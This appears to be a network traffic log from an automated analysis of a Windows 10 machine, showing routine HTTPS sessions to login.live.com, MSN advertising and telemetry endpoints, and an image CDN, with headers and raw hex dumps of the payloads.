2024-11-23 00:14:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49872	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:38 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_BL2 x-ms-request-id: b1e35260-6e24-4152-90b5-6486f669d989 PPServer: PPV: 30 H: BL02EPF0001DA59 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:37 GMT Connection: close Content-Length: 11389
2024-11-23 00:14:38 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49873	23.101.168.44	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:37 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=175F64EB34B4667D05E971AB35C6675C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=08fdf80b609140918adbbba7f5c18d19 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 00:14:37 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2724 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132679-T700343875-C128000000002116409+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116409+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 00:14:37 GMT Connection: close
2024-11-23 00:14:37 UTC	2724	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 76 69 63 75 c3 b1 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 76 69 63 75 25 43 33 25 42 31 61 2b 28 61 6e 69 6d 61 6c 29 26 66 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"vicua\",\"cta\":\"https:\/\/www.bing.com\/search?q=vicu%C3%B1a+(animal)&fi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49874	20.110.205.119	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:38 UTC	1279	OUT	GET /c.gif?rnd=1732320871730&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31deaf9c9b664048bcc3202cc5a3eb10&activityId=31deaf9c9b664048bcc3202cc5a3eb10&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E058991A9E4746FE894F8451A12435C8&MUID=175F64EB34B4667D05E971AB35C6675C HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-23 00:14:38 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=175F64EB34B4667D05E971AB35C6675C; domain=.msn.com; expires=Thu, 18-Dec-2025 00:14:38 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=175F64EB34B4667D05E971AB35C6675C; domain=c.msn.com; expires=Thu, 18-Dec-2025 00:14:38 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 30-Nov-2024 00:14:38 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 00:24:38 GMT; path=/; SameSite=None; Secure; Date: Sat, 23 Nov 2024 00:14:37 GMT Connection: close Content-Length: 42
2024-11-23 00:14:38 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49875	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:38 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:39 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Wed, 20 Nov 2024 11:33:41 GMT X-Source-Length: 293132 X-Datacenter: northeu X-ActivityId: 36c75023-5862-459d-98a7-1b0518594608 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=213544 Expires: Mon, 25 Nov 2024 11:33:42 GMT Date: Sat, 23 Nov 2024 00:14:38 GMT Connection: close
2024-11-23 00:14:39 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 4d fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 Data Ascii: M&iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-23 00:14:39 UTC	2326	IN	Data Raw: 1d 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-23 00:14:39 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-23 00:14:39 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 